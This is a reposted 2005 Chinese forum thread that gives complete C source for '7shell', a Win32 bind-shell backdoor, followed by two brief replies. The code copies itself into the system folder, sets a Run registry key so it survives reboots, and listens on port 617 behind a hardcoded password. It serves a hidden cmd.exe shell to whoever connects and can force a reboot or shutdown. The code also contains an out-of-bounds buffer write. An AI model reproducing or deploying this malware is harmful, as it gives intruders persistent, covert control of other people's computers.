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标题: [转帖]7shell：a simple win32 bind shell [打印本页]

作者: x86 时间: 2005-9-17 00:26 标题: [转帖]7shell：a simple win32 bind shell

[这个贴子最后由x86在 2005/10/06 00:49am 第 1 次编辑] 一个简单的 win32 bind shell socket 编程练手作品运行后绑定主机的617端口客户端推荐使用nc 如果用telnet 格式会比较乱预设的密码是chris7 写注册表run键实现自启动在win2k+sp4以及winxp+sp2环境下初步测试运行稳定主要功能：１．得到系统的一个cmdshell ２．重启或者关闭系统本来还有些功能的但偶觉得代码写的不好就删去了稍后发布更新版本这个版本没有使用多线程所以只能接受一个连接下一个版本里也会改进 /*************************************************** Welcome to 7shell V0.1 Just a simple bind shell Code by chris7 Finished at 2005-8-23 Email: technevol@163.com Blog: chris7.blogchina.com ****************************************************/ #include #pragma comment(lib,"Ws2_32") //一些linker选项以缩小生成文件的体积 //偶机器上生成的可执行文件为3.5K #pragma comment(linker,"/ENTRY:main") #pragma comment(linker,"/subsystem:windows") #pragma comment(linker,"/ALIGN:512") #pragma comment(linker,"/SECTION:.text,REW") #pragma comment(linker,"/MERGE:.data=.text") #pragma comment(linker,"/MERGE:.rdata=.text") SOCKET clientFD; char del[]="\10"; char password[]="chris7"; char helpmess[]= "? --get help" "\nshell --get remote cmd shell" "\nreboot --reboot remote computer" "\nshutdown --shutdown remote computer" "\nquit --quit, can connect again" "\nexitshell --backdoor exit\n"; int main(){ //autorun char ExeFile[MAX_PATH]; char TempPath[MAX_PATH]; GetModuleFileName(NULL,ExeFile,MAX_PATH);//获取当前执行的文件地址 GetSystemDirectory(TempPath,MAX_PATH);//获取系统路径 strcat(TempPath,"\\7shell.exe"); CopyFile(ExeFile,TempPath,FALSE);//copy到系统文件夹下 HKEY key; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS){ RegSetValueEx(key,"7shell",0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath));//写注册表设置开机启动 RegCloseKey(key); } WSADATA ws; SOCKET listenFD; char Buff[256],cmd[256]; unsigned long lBytesRead; WSAStartup(MAKEWORD(2,2),&ws); listenFD=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //创建listen套接字 struct sockaddr_in server; server.sin_family=AF_INET; server.sin_port=htons(617);//指定服务端口 server.sin_addr.s_addr=ADDR_ANY; bind(listenFD,(sockaddr *)&server,sizeof(server));//将listen套接字和地址绑定 listen(listenFD,2); int iAddrSize=sizeof(server); wait: clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); //check password send(clientFD,"Password:",sizeof("Password:"),0); lBytesRead=0; while(lBytesRead<256){ if(recv(clientFD,Buff,1,0)==SOCKET_ERROR){ closesocket(clientFD); goto wait; } cmd[lBytesRead]=Buff[0]; if(Buff[0]==0xa||Buff[0]==0xd){ cmd[lBytesRead]=0; break; } lBytesRead++; cmd[256]=';\0';; } if(strcmp(cmd,password)!=0){ closesocket(clientFD); goto wait; } int infosize=sizeof("Welcome to 7shell! Type ? to get help.\n"); send(clientFD,"Welcome to 7shell! Type ? to get help.\n\10",infosize+1,0); send(clientFD,del,1,0); send(clientFD,"7shell>",sizeof("7shell>"),0); while(1){ ZeroMemory(cmd,256); lBytesRead=0; while(lBytesRead<256){ if(recv(clientFD,Buff,1,0)==SOCKET_ERROR){ closesocket(clientFD); goto wait; } cmd[lBytesRead]=Buff[0]; if(Buff[0]==0xa||Buff[0]==0xd){ cmd[lBytesRead]=0; break;} lBytesRead++; cmd[256]=';\0';; } //check cmd if(strcmp(cmd,"?")==0){ send(clientFD,helpmess,sizeof(helpmess),0); send(clientFD,del,1,0); } else if(strcmp(cmd,"shell")==0){ STARTUPINFO si;//定义一个结构体设置程序启动的参数 ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE;//隐藏窗口 si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientFD; //把程序的输入输出句柄定义到那个套接字 PROCESS_INFORMATION ProcessInformation; if(!CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)){ send(clientFD,"Fail!\n",sizeof("Fail!\n"),0); send(clientFD,del,1,0); }//创建新进程 WaitForSingleObject(ProcessInformation.hProcess,INFINITE); //等待程序被结束的信号 ,在客户端的exit TerminateProcess(ProcessInformation.hProcess,0);//结束进程 CloseHandle(ProcessInformation.hProcess); } else if(strcmp(cmd,"reboot")==0){ HANDLE hToken; TOKEN_PRIVILEGES tkp; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0); }//获取当前进程句柄 else{ LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);//升级进程权限 if(GetLastError()!=ERROR_SUCCESS){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0); } else if(!ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0)){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0);//关闭系统 } else{ send(clientFD,"Success!",sizeof("Success"),0); send(clientFD,del,1,0); } } } else if(strcmp(cmd,"shutdown")==0){ HANDLE hToken; TOKEN_PRIVILEGES tkp; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0); } else{ LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0); if(GetLastError() != ERROR_SUCCESS){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0); } else if(!ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0)){ send(clientFD,"Fail!",sizeof("Fail!"),0); send(clientFD,del,1,0); } else{ send(clientFD,"Success!",sizeof("Success!"),0); send(clientFD,del,1,0); } } } else if(strcmp(cmd,"quit")==0){ send(clientFD,"Success!",sizeof("Success!"),0); closesocket(clientFD); goto wait; } else if(strcmp(cmd,"exitshell")==0){ send(clientFD,"Success!",sizeof("Success!"),0); closesocket(clientFD); closesocket(listenFD); goto end; } else if(strlen(cmd)){ send(clientFD,"Bad command! See help:\n",sizeof("Bad command! See help:\n"),0); send(clientFD,helpmess,sizeof(helpmess),0); send(clientFD,del,1,0); } else ; send(clientFD,"7shell>",sizeof("7shell>"),0); } end: return 0; }

作者: 淋雨的感觉 时间: 2005-10-5 21:43 标题: [转帖]7shell：a simple win32 bind shell

这种编码风格看起好老火哦，注释也很少。
不过还是值得学习

作者: 风三 时间: 2005-10-11 14:53 标题: [转帖]7shell：a simple win32 bind shell

习惯成自然。^_^

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